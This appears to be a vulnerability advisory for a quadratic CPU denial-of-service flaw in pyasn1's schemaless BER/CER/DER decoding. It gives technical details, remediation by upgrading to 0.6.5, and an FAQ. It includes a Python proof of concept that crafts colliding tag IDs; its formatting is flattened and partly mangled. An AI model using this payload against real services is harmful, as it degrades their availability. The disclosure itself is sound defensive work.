CVE-2026-119194: pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
Summary
When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.
Details
ConstructedPayloadDecoderBase.decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.
Proof of concept
Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:
python import sys import time
from pyasn1.codec.ber import decoder from pyasn1.type import univ
def enctag(tagid): groups = [tagid & 0x7f] tagid >>= 7 while tagid: groups.append((tagid & 0x7f) | 0x80) tagid >>= 7 return b'\xbf' + bytes(reversed(groups))
def payload(tagids): body = b''.join(enctag(tagid) + b'\x03\x04\x01A' for tagid in tagids) length = len(body).tobytes((len(body).bitlength() + 7) // 8, 'big') return b'\x30' + bytes([0x80 | len(length)]) + length + body
for count in (3200, 6400): cases = ( ("collision", [32 + i sys.hashinfo.modulus for i in range(count)]), ("control", [(1 << 70) + i for i in range(count)]), ) for name, tagids in cases: wire = payload(tagids) start = time.processtime() value, remainder = decoder.decode(wire) cpuseconds = time.processtime() - start
assert type(value) is univ.Sequence assert len(value) == count and remainder == b'' for position, tagid in enumerate(tagids): component = value.getComponentByPosition(position) assert component.asOctets() == b'A' assert component.tagSet[-1].tagId == tagid
print(count, name, len(wire), round(cpuseconds, 3))
Impact
Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.
Other sources
pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase.decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/pyasn1to a version that resolves this vulnerability.Fixed in 0.6.5 - Upgrade
Upgrade
pyasn1to a version that resolves this vulnerability.Fixed in 0.6.5
Event History
Frequently Asked Questions
Which applications are exposed to this denial-of-service condition?
Applications are exposed when they decode attacker-controlled BER, CER, or DER data without providing an ASN.1 schema. The affected code path is used by the BER decoder and inherited by the CER and DER decoders.
What does an attacker need to supply to trigger the issue?
An attacker needs to submit a constructed ASN.1 container containing many distinct long tag IDs chosen to produce colliding TagSet hashes. Repeated submissions can consume CPU and reduce availability even though the inputs decode successfully.
Is a schema-aware decoder affected?
The described issue is specifically in schemaless container decoding. The provided information does not identify schema-aware decoding as affected.
What version is known to contain the vulnerable path?
The vulnerable path is documented as present in pyasn1 v0.6.4. No other affected or fixed version numbers are provided.
What change addresses the excessive CPU use?
The proposed fix stops growing the TagSet classification set once it has identified two distinct tag sets, while preserving all decoded components and their order. This prevents later colliding tag IDs from causing comparisons against an ever-growing set.